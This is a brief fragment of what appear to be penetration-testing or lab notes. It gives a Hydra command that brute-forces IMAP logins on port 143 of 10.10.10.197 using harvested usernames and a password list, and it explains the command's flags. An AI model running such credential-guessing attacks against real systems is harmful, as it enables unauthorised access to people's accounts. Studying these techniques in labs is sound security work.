It can either exploit a vulnerability or leverage credentials to gain access.
hydra -vV -L found_email_usernames -P passwords.txt imap://10.10.10.197:143 -t 7 -l --> username -L --> username list -p --> password -P --> password list -t --> threads